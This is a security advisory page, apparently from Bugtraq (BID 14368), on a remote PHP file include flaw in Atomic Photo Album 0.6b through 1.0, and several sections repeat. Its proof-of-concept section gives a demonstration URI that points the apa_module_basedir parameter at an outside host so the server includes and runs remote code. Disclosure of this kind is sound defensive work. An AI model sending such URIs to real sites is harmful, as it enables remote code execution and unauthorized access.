Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
BID:14368
Info
Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
| Bugtraq ID: | 14368 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2005 12:00AM |
| Updated: | Jul 25 2005 12:00AM |
| Credit: | lwdz and RandomHero are credited with the discovery of this vulnerability. |
| Vulnerable: |
Atomic Photo Album Atomic Photo Album 1.0 Atomic Photo Album Atomic Photo Album 0.9 Atomic Photo Album Atomic Photo Album 0.8 Atomic Photo Album Atomic Photo Album 0.7 Atomic Photo Album Atomic Photo Album 0.6 b |
| Not Vulnerable: | |
Discussion
Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
Atomic Photo Album is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
Atomic Photo Album is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may exploit this issue to execute arbitrary PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
Exploit / POC
Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
A demonstration URI has been provided:
http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/
A demonstration URI has been provided:
http://www.example.com/apa_phpinclude.inc.php?apa_module_basedir=http://www.example.com/
Solution / Fix
Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Atomic Photo Album Apa_PHPInclude.INC.PHP Remote File Include Vulnerability
References:
References:
- APA Homepage (Atomic Photo Album)
- Atomic Photo Album (APA) apa_phpinclude.inc.php remote file include ([email protected])